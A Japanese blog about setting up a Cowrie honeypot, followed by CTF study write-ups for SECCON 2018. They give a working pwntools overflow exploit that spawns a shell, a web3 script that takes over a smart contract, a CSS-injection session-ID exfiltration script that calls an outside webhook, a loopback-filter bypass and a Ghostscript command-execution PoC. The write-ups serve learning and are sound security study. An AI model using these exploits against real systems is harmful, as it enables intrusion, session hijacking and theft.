Honeypot始めました
寒くなってきたのでハニポを立てることにしました。
設定とか
ハニポサーバ
ssh, telnetのハニーポットであるcowrieを、Docker上で動かすようにしました。 AWSのEC2の無料枠内を使ってます、今のところ問題なく動作しているみたいです。 ハニーポットとかAWSとか何もかも始めてでしたが1日でセットアップを終わらせることができました。 Dockerだとローカルで再現して検証するのが楽でいいですね。
docker-compose.ymlはこんな感じです。
version: '3' services: cowrie: image: cowrie/cowrie:latest ports: - "22:2222" - "23:2223" volumes: - ./etc/cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg:ro - ./var:/cowrie/cowrie-git/var
これだけで動く、最高!
cowrie/cowrieのイメージは一応cowrieの公式イメージだそうです、githubの方にリンク貼ってあるし多分問題ないでしょう。
設定は./etc/cowrie.cfg
に配置してあるのをコンテナにも置くようにして反映させています。
ログは./var
に置かれるようにしています、マルウェアも降ってくるのであんまり良くない気もしますが多分大丈夫でしょう。
コンテナにマウントする前に、./var内に適切にディレクトリを配置しておかないとエラーを吐くので注意が必要です。
以下のようになっていれば大丈夫です。
var/run var/lib var/lib/cowrie var/lib/cowrie/tty var/lib/cowrie/downloads var/log var/log/cowrie
出力はjson形式でやっています。 本当はElasticsearchに吐くようにしたいけど、AWS無料枠制限でこれ以上サーバを立てられないのでローカルにログを移動してそれをローカルのElasticsearchに投げてます。 雑ですね。
cowrieの設定は、telnetを開けて認証をランダムにしたくらいです。
ログ解析環境
解析環境は、ElasticsearchとKibanaをDockerで動かしています。 Docker素晴しい。 docker-compose.ymlはこんな感じ。
version: '3' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:6.4.2 environment: - "ES_JAVA_OPTS=-Xms512m -Xmx512m" ulimits: memlock: soft: -1 hard: -1 expose: - 9200 ports: - 9200:9200 networks: intra: ipv4_address: 172.16.200.102 volumes: - ./elasticsearch/data:/usr/share/elasticsearch/data kibana: image: docker.elastic.co/kibana/kibana:6.4.2 volumes: - ./kibana/kibana.yml:/usr/share/kibana/config/kibana.yml:ro networks: intra: ipv4_address: 172.16.200.103 depends_on: - elasticsearch nginx: image: nginx:latest volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro - ./nginx/htpasswd:/usr/local/nginx/.htpasswd:ro networks: intra: ipv4_address: 172.16.200.104 ports: - 80:80 networks: intra: driver: bridge ipam: driver: default config: - subnet: 172.16.200.0/24
kibana.ymlだけ用意する必要がある(Elasticsearchのアドレス指定のため)が、Nginxを消してKibanaの方に80:5601
とか設定すればnginx関連は不要になる。
他の用途に使っていたものを流用しているのであまり最適化されてないですね。TODO: あとでやる
いろいろ遊んでる。
運用状況
さっそく色々降ってきてるみたいで、有名なraspberryraspberry993311もいた。 他にもjirenみたいな名前のやつとかxorddosみたいな名前のやつとか来てました。
ログインをランダムにしているので、色んなログイン情報取れるのが良い感じ。
どこかのサーバからロシアの検索エンジンあてのクエリみたいなものが転送されてくるのが一番謎ですね。 AmazonとかにHTTPクエリっぽいのが転送されてきてました。
ストレージは30GBくらいまで持つみたいなので、ログはギリギリまで溜めて削除する運用方針です。
今後
次はtsharkとかでパケットのログも取りたいところです。 おもしろいログがあったら書きます。
SECCON CTF 2018 Online Profile 復習
SECCON CTF 2018 Online Profile 復習
参考にしたサイト
- https://teamrocketist.github.io/2018/11/04/Pwn-Seccon-2018-Profile/
- Writeupその1、丁寧な方
- https://github.com/sajjadium/ctf-writeups/tree/master/SECCON/2018/profile
- Writeupその2、概要しか書かれていないのでこれだけでは解けなかった
- http://shift-crops.hatenablog.com/entry/2018/11/05/042149
- 作問者さまのサイト、ソースコードとExploitを参考にした
問題
profileというプログラムとlibcが降ってくる。
セキュリティ機構は以下。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
標準的なセキュリティ機構は有効で変わったところはない。
次はfile
の出力。
profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped
x64らしい。
解析
Radare2で解析してみたらC++だった。
復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。
Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。
stringクラス
Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。
自分じゃコードとか解析しきれなかった、パワーが足りない...
Writeupその1から取ってきたPoCコード。
#include <cstdlib> #include <iostream> #include <string> // replace operator new and delete to log allocations void* operator new(std::size_t n) { std::cout << "[Allocating " << n << " bytes]"; return malloc(n); } void operator delete(void* p) throw() { free(p); } int main() { for (size_t i = 0; i < 24; ++i) { std::cout << i << ": " << std::string(i, '=') << std::endl; } }
実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msg
で使われているmalloc_usable_size
はスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。
作問者さまのサイトから拾ってきたソースコードの該当する部分。
void Profile::update_msg(void){ char *buf; size_t size; buf = (char*)msg.c_str(); if(!(size = malloc_usable_size(buf))){ // ここで負数が返される cout << "Unable to update message." << endl; return; } cout << "Input new message >> "; getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる }
説明のためにコード中にコメントを書き加えた。
Exploit
stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。
0c:0060│ rax rdi 0x7fffffffd490 <- 0x54534554 /* 'TEST' */ 0d:0068│ 0x7fffffffd498 -> 0x401544 <- no 0e:0070│ 0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、文字列が格納されている場所へのポインタ 0f:0078│ 0x7fffffffd4a8 <- 0x4 # Profile p.msg、格納されている文字数 10:0080│ 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、バッファの前半部分 11:0088│ 0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop rbp #Profile p.msg、バッファの後半部分 12:0090│ 0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、文字列が格納されている場所へのポインタ 13:0098│ 0x7fffffffd4c8 <- 0x4 # Profile p.name、格納されている文字数 14:00a0│ 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、バッファの前半部分、16バイト 15:00a8│ 0x7fffffffd4d8 <- 0x0 # Profile p.name、バッファの後半部分 16:00b0│ 0x7fffffffd4e0 <- 0x14 # Profile p.age、20を入力した 17:00b8│ 0x7fffffffd4e8 <- 0x9772425bb8672300 # canary、prev rbpとの間はパディング? 18:00c0│ 0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1 19:00c8│ 0x7fffffffd4f8 <- 0x0 1a:00d0│ rbp 0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push r15 # prev rbp 1b:00d8│ 0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov edi, eax # return address
スタックの配置がこんな感じになっているので、Profile::update_msg
のgetn(buf, size);
でバッファオーバーフローさせることで、p.name
の文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profile
を選択することで、任意のアドレスの値を表示させられる。
ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XX
の範囲の値を全て見ることができる。
また、Profile p
がスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p
自身も含まれている可能性が高い。
以上のことから、0x00から0xffの範囲をダンプしてp.msg
に入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。
次に、p.name
の指すアドレスをGOT領域のread
に設定して、read
が実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem
と/bin/sh
かone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。
Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './profile' libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('profile.pwn.seccon.jp', 28553) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== menu = {'exit': '0', 'update': '1', 'show': '2'} io = start(env={ 'LD_PRELOAD': './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' }) elf = ELF(exe) libc = ELF(libc) # メニューの'update message'へ、payloadを入力する def update(payload): io.sendlineafter('>> ', menu['update']) io.sendlineafter('Input new message >> ', payload) # メニューの'show profile'を呼び出すだけ def show(): io.sendlineafter('>> ', menu['show']) # p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す # パディングはあとでp.msgの位置を特定するために使う def leak_val(addr, padding='AAAAAAAABBBBBBBB'): assert (len(padding) == 16) update(padding + addr) show() io.recvuntil('Name : ') # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要 out = io.recvuntil('Age :').strip().ljust(8, '\x00')[:8] return u64(out) name = 'X' * 15 age = '20' msg = 'Y' io.sendline(name) io.sendline(age) io.sendline(msg) # スタックの値をダンプする leak_vals = [] for i in range(0, 0x100, 8): leak = leak_val(chr(i)) log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak)) leak_vals.append(leak) # パディングで設定した値から、p.msgの位置を特定する if u64('A' * 8) not in leak_vals: print("Canary is not found on the stack, retry.") io.close() exit(1) # 特定したp.msgの位置からのオフセットで他の値を取得する msg_pos = leak_vals.index(u64('A' * 8)) canary = leak_vals[msg_pos + 7] prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う # p.nameの文字列へのポインタのアドレス # main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う # 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる profile_name_addr = leak_vals[msg_pos + 2] log.info('canary: 0x{:x}'.format(canary)) log.info('prev_rbp: 0x{:x}'.format(prev_rbp)) # オーバーフローでシェルを起動する # read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する read_got = leak_val(p64(elf.got['read'])) libc_base = read_got - libc.symbols['read'] one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい payload = 'A' * (8 * 2) # p.msgのバッファを埋めるパディング payload += p64(profile_name_addr + 0x10) # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる payload += 'B' * (8 * 4) # パディング payload += p64(canary) payload += 'X' * 8 payload += 'X' * 8 payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定 payload += p64(one_gadget) # シェルを起動 update(payload) io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする io.interactive()
感想
C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。
SECCON CTF 2018 Online Smart Gacha Lv.1 復習
Smart Gacha Lv1の復習
Writeup見ても全然分からなかったので残しておく。
Ethereumの知識が0の状態から突貫でやっているのでその辺りの記述は多分間違っています、注意してください。
参考にしたのはこのあたり、あとは公式のドキュメントとかWeb3.pyのドキュメントとか。
- https://cookies.hatenablog.jp/entry/2018/10/28/184145
- https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925
- https://qiita.com/tomohata/items/8a1156397a6b61df9d75
- https://legacy.gitbook.com/book/a-mitani/mastering-ethereum/details
問題
Toggle the "getItem" boolean value in "fair lottery contract" to true. If you are lucky, you have only to press "test luck" button once. Even if you are not lucky, all you have to do is press the button 1,000,000 times.
Server: http://ether.pwn.seccon.jp/
解説
https://cookies.hatenablog.jp/entry/2018/10/28/184145のWriteupを参考にしながら解いた。
問題の解析
ServerのURLにアクセスすると、ログイン画面のようなページが表示される。
でも多分ログインは関係ないはずで、アカウントやパスを入れてもInternal Server Errorが出るだけだと思う。
Signupのところでパスワードが入力できるので、そこでパスワードだけ入力すると問題の"Lottery"にアクセスできる。
このパスワードは後から使うので忘れないように。
アカウントアドレスは空欄のままで問題ない。
正直誘導が不親切だと思う(本番で詰まってた)。
パスワード入れてRegister押せばOK、"Lottery"が表示される。
"Claim ETH", "Deploy Lv1", "Deploy Lv2", "Your own client?"の4つのボタンと、"Wallet Address"と"Balance"の表示がある。
このETHというのはEthereumという分散型アプリケーションプラットフォームプロジェクトで使われる内部通貨の単位のことだと思う。
検索しても適当な用語の使い方をしているサイトばかりで、細かい用語の正しい意味が分からなかった。
まずは"Claim ETH"から問題を解くのに必要なEthereumの通貨を取得する。
しばらく待つと"Balance"が10ETHになる、これを元に問題を解ける。
無くなったらクッキーを削除して再登録すればまたもらえるはず。
こんな感じになってるはず、アドレス見えてるけど閉じてるネットワークだし多分大丈夫だろ(適当)。
次に"Deploy Lv1"を押して、Lv1の問題のスクリプトを読み込む。
すると、"Test Luck!!"と書いてあるボタンとテーブルが追加されている。
こんな感じ。
この"Test Luck!!"を押すと、"Played"が増えて"Balance"が微妙に減る。
問題文から察するに、このクジを当てればいいらしい。
当然まともに当てるわけがない。
クジを当てるには、このクジがどのように動作しているのか調べる必要があるため、ソースコードなんかを探す。
ソースと通信からいくつかのスクリプトが読み込まれているのが分かる。
この中のひとつである"Gacha.sol"がこの"Lottery"のプログラムになる。
一緒にロードされている"/static/lottery.js"を見れば分かるかもしれないが、直感でも何となく分かるだろう。
pragma solidity^0.4.24; contract Gacha { address public owner; address public player; uint256 public played = 0; uint256 public seed; uint256 public lastHash; bool public getItem = false; bytes32 private password; modifier onlyOwner() { require(owner == msg.sender); _; } constructor(bytes32 _password, uint256 _seed, address _player) public { owner = msg.sender; player = _player; password = _password; lastHash = uint256(blockhash(block.number-1)); seed = _seed; } function pickUp() public returns(bool) { require(player == msg.sender); uint256 blockValue = uint256(blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; played++; if (mod(played, 1000000) == 0) { getItem = true; return getItem; } uint256 result = mod(seed * block.number, 200000); seed = result; if (result == 12345) getItem = true; // Flag is here!! return getItem; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function initSeed(uint256 _seed) onlyOwner public { seed = _seed; } function changeOwner(bytes32 _password) public { if (password == _password) owner = msg.sender; } }
わざわざコメントでフラグの場所を教えてくれている、このgetItem
の値がtrue
になるようにすればいいらしい。
前後関係から見て、seed * block.number % 200000 == 12345
がtrue
になればいいはず。
Ethereum
ここから先のことを理解するにはEthereumを知っていないといけなかったので調べた。 解くのに必要な最低限のことを最低限以下の理解で書いているので、間違ってる可能性が大いにあることに注意。
Ethereumでは、簡単に言うとブロックチェーン上にあるプログラム(コントラクトと呼ばれるらしい)を持つことができ、それを仮想マシン(Ethereum Virtual Machine, EVMというらしい)で実行することができる。
そして、コントラクトを実行した結果をブロックチェーン上に記録していくようになっている。
スマートコントラクトというらしい、詳しい実装などは知らない。
"Gacha.sol"もそのようなプログラムのひとつで、これはSolidityという言語で記述されている。
このコードはコンパイルされ中間表現のバイトコードとしてブロックチェーン上に記述される、その中間コードが実際に実行される。
問題を解く上で重要なのは、Ethereumのコントラクトのコードと一部のデータはブロックチェーンに記録されているため、そのネットワークに参加している人間なら誰でも見ることができるということである。
private宣言されていてもデータとして直接見ることは可能である。
調べた限りではブロックチェーン上に記録しないデータを持つことも可能らしいが、この問題のプログラムでは使われていないので無視する。
脆弱性
Ethereumの特徴から考えると、このプログラムの中のpassword
はネットワークの参加者なら誰でも見ることができるということが分かる。
password
が分かっているのでchangeOwner
関数の呼び出しを通じてこのコントラクトのオーナーになれる、ということらしい。
オーナになると、initSeed
を呼び出して任意のシードを設定できるようになる。
どのような値を設定すればクジを当てられるかは簡単な算数で分かる。
seed * block.number % 200000 == 12345
が真になればいいので、seed = 12345 * (block.number^-1 mod 200000)
と設定すればいい。
逆元により、12345 * block.number^-1 * block.number mod 200000 = 12345
となる。
詳しくはmodの逆元で検索すればいいんじゃないかな。
これでどうすればいいかが分かったので、あとはやるだけである。
Exploit
EVMのコードを実行する方法はいくつかあって、Writeupでは”geth”というEthereumのクライアントのコンソールから直接コマンドを実行していた。
前提知識が欠けていたのでまったく分からなかったが。
他にも、RPCを利用してJavaScriptやPython経由で利用することもできる。
ここではPythonを使うことにする。
接続
問題を解く前に、CTFで使ってるEthereumのネットワークに接続する必要がある。
ここではgeth
をDocker上で起動して使うことにする。Dockerのインストールなどは他の記事を見て欲しい。
https://github.com/ethereum/go-ethereum/wiki/Running-in-Docker gethの公式のイメージがあるので、そのまま使わせてもらうことにした。
この問題で使っているネットワークへ接続するための設定ファイルは、"Your own client?"のメニューから取得できる。
"Configuration files"のリンクから設定ファイルをダウンロードして使う。
ダウンロードしたZipを解凍すると"connection"というディレクトリが出てきて、この中に設定がある。
サンプル中の"connection"はこのディレクトリだと思って解釈して欲しい。
起動するためのコマンドは以下の通りになる。
mkdir ether-data # 設定やブロックチェーンなどのデータが書き込まれるディレクトリを作成 # ethereum/client-go以降は、Docker内で実行されるgethに渡されるオプションになる # connectionとether-dataをDocker環境ないからも参照できるようにして、オプションで設定ファイルとデータの保存場所として指定している docker run -it -v $(pwd)/connection:/connection -v $(pwd)/ether-data:/data ethereum/client-go --datadir /data init /connection/genesis.json # --rpcapiでRPCからアクセスできるAPIを指定している、指定しないといくつかの機能がPythonから使えなくなるので注意 # --rpcと--rpcaddrでRPCの起動とアドレスを指定、ポートは初期設定のものに接続できるようにDockerで指定している docker run -it -v $(pwd)/ether-data:/data -p 8545:8545 -p 30303:30303 ethereum/client-go --datadir /data --networkid=2994 --nodiscover --rpcapi eth,web3,personal,admin --rpc --rpcaddr "0.0.0.0"
これでgethが起動する、うまくいっていればログが表示されているはずである。
コード
Pythonで作った攻撃スクリプト、何度か実行する必要があるかもしれない(ブロックチェーンの状態は他の人も変化させられるため)。
Web3というEthereumにアクセスするためのライブラリを使うので、pipでインストールする必要がある。 あとPython3じゃないとだめなので注意。
from web3 import Web3 # Ethereumのコードを実行するためには、手元にコンパイルしたコードが必要になる # 直接Solidityのコンパイラを使ってもいいが、オンラインで使えるコンパイラがあるのでそっちを使った # https://remix.ethereum.org/ # Gacha.solのコードをコンパイルするには、コンパイラのバージョンをファイル先頭に書いてある0.4.24に合わせる必要がある、nightlyが付いてないやつ # コンパイルしたあと、ABIからクリップボードにコピーできる # falseとtrueだけFalseとTrueに合わせる必要がある # こちらがそのabi abi = [{ "constant": False, "inputs": [{ "name": "_seed", "type": "uint256" }], "name": "initSeed", "outputs": [], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": True, "inputs": [], "name": "played", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [], "name": "pickUp", "outputs": [{ "name": "", "type": "bool" }], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": True, "inputs": [], "name": "lastHash", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "player", "outputs": [{ "name": "", "type": "address" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "seed", "outputs": [{ "name": "", "type": "uint256" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "owner", "outputs": [{ "name": "", "type": "address" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "getItem", "outputs": [{ "name": "", "type": "bool" }], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [{ "name": "_password", "type": "bytes32" }], "name": "changeOwner", "outputs": [], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{ "name": "_password", "type": "bytes32" }, { "name": "_seed", "type": "uint256" }, { "name": "_player", "type": "address" }], "payable": False, "stateMutability": "nonpayable", "type": "constructor" }] # それぞれで違うので設定する必要がある contract_addr = "<Test Luck!!のところのContract Address>" wallet_addr = "<Wallet Address>" # wallet addr of lottery w = Web3() # connection/static-nodes.jsonにある接続先の情報、これで自分の環境で動作するDockerからCTFのネットワークに接続できる w.admin.addPeer( "enode://fdc1d08a0902a563c5c593b2ee33224b4e8963ed4b6bd0fd6c7cb5531c33985f696675387b9751c24cc3a691981f888df5b8ab9a4a72646a46d4f1a8f2e4bb36@163.43.117.58:30303?discport=0" ) w.admin.addPeer( "enode://c1905ca15641a649d819798103da61438a33df2a1de6a4b179cfd345346975e4e7a3b2d7131cae00284b89526e90f63ae5753f98b3498a0fe5ac0c47a5ec625b@163.43.117.33:30303?discport=0" ) w.admin.addPeer( "enode://fb41e22d8f1b1142f583ed4bcd8eb448f527cf780029fad529fc06c458e5093d0fdf265925a01612b4e477feaf1aa22422f2b0752d6318bc33671f34bc802b0c@163.43.117.44:30303?discport=0" ) # どっかからパクってきたmodの逆元計算のための拡張GCD def egcd(a, b): (x, lastx) = (0, 1) (y, lasty) = (1, 0) while b != 0: q = a // b (a, b) = (b, a % b) (x, lastx) = (lastx - q * x, x) (y, lasty) = (lasty - q * y, y) return (lastx, lasty, a) passphrase = "<最初に入力したパスワード>" # connection/prv.keyにある、Walletの秘密鍵のインポート # これで割り当てられたETHを使えるようになる prv_key = '' with open("./connection/prv.key") as f: prv_key = f.read() key = w.eth.account.decrypt(prv_key, passphrase) w.personal.importRawKey(key, passphrase) # アカウントのアンロック # よく分からない、ログイン処理みたいなものだろうか w.personal.unlockAccount(w.eth.accounts[0], passphrase) w.eth.defaultAccount = w.eth.accounts[0] # 登録したアカウントをデフォルトで使うように contract = w.eth.contract(contract_addr, abi=abi) # ストレージ中からパスワードを取得 # 6がパスワードの位置になる # 前後の値を見てコード中の変数宣言に対応させていけば大体分かる password = w.eth.getStorageAt(contract_addr, 6) # changeOwnerを呼び出す、transactしないとブロックチェーンに記録してくれないらしい contract.functions.changeOwner(password).transact() # seed * blockNum mod 20000 == 12345 => (seed * blockNum - 12345) / k is Integer, 200000k # 以下を何回か繰り返せば、そのうち当たる # 人が多いときは+ 1より大きくする必要がある # たまにエラー、リクエストが多いとダメらしい block_num = w.eth.blockNumber + 1 x, _, _ = egcd(block_num, 200000) if x < 0: x += 200000 # gasというのは手数料みたいなもので、それなりに重い関数だと必要らしい contract.functions.initSeed(12345 * x).transact({"gas": 1000000}) w.eth.getTransaction(contract.functions.pickUp().transact()) w.eth.getTransaction(contract.functions.getItem().transact()) # 連続して実行するとエラーが出るので、ちょっとまってから実行するといい
だいたいこれで動く。 うまくいけば、Lotteryを更新するとFlagが表示される。
まとめ
Writeupを見ても、Ethereumの知識がないとまったく分からなかったので調べてやってみた。
ブロックチェーン上に状態とコードが保存されるのでコードの実行を一種の取り決めのように扱えるみたいな感じなんだろうか、新鮮だった。
正直CTF中にここまで調べて解くのは僕には無理っす、解けてる人すごい。
SECCON CTF 2018 Online Ghost Kingdom 復習
SECCON CTF 2018 Online Ghost Kingdom 復習
https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。
問題
http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOP
と表示される。
GO TO TOP
のリンクから問題の脆弱性があるサービスに接続できる。
サービス
ログインするとMessage to admin
, Take a screenshot
, Upload image
の3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。
以下に各機能の簡単な説明。
Login
ログインはGETにより行われる、普通はPOSTが使われる。
ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。
URLを通じてローカルネットワークから各機能を使わせるのに使った。
Message to admin
Normal
とEmergency
の2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。
Previewボタンを押すとメッセージのプレビューが表示される。
Normal
では何もないが、Emergency
だと色が付くようになっている。
Previewボタンでの通信を見ると、css
というパラメータが使われているのが分かる。
値の末尾を見ると=
が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。
CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors
これを利用してある属性の値をリークさせる。
メッセージ送信の通信を見ると、hiddenパラメータとしてcsrf
という値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrf
に設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。
Take a screenshot
URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。
この機能とGETによるログインを利用して、サーバからログインしたりさせられる。
Upload image
* Only for users logged in from the local network
と表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。
最終的にこの機能からコマンド実行をする。
解き方
まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。
そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。
セッションハイジャック
セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタとcsrf
にセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。
input[name=<attr-name>][value$="tail"] { color: green; }
で、inputタグの属性<attr-name>
の値の末尾がtail
であるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }
のようなCSSをMessage to admin
で渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。
Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2
これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。
URLにhttp://localhost
のように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=pass
みたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login
スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
このIDをcookieのCGISESSID
に設定してやればアップロード機能が使えるようになる。
セッションIDの特定に使ったスクリプト。
import base64 import requests import time host = 'http://ghostkingdom.pwn.seccon.jp/' own_host = '<webhookinbox url>' def login(session): return session.get( host, params={"user": "tkgsytest", "pass": "seccon", 'action': 'login'}) def take_sshot(session, url): print(url) time.sleep(31) return session.get(host, params={"action": "sshot2", "url": url}) def login_at_local(session): url = 'http://2130706433/?user=<username>&pass=<password>&action=login' return take_sshot(session, url) def send_msg_at_local(session, css): template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}' enc_css = base64.b64encode(css) return take_sshot(session, template.format(enc_css)) def get_injection_css(known_tails): temp1 = 'input[name=csrf][value$="{}{}"]' temp2 = 'background: url("{}{}");' payload = '' for i in range(16): trial = hex(i)[2] payload += temp1.format(trial, known_tails) payload += " { " payload += temp2.format(own_host, trial) payload += " } " print(payload) return payload def search_session_id(session, known_tails): return send_msg_at_local(session, get_injection_css(known_tails)) if __name__ == '__main__': known_sid = '' session = requests.Session() login(session) login_at_local(session) for i in range(22 - len(known_sid)): search_session_id(session, known_sid) leaked = raw_input("> ") known_sid = leaked + known_sid print(known_sid)
webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。
Exploit
画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript
の脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscript
が読み込めばecho test
が実行されることになる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops
このコードを適当な名前(exploit.eps
とか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
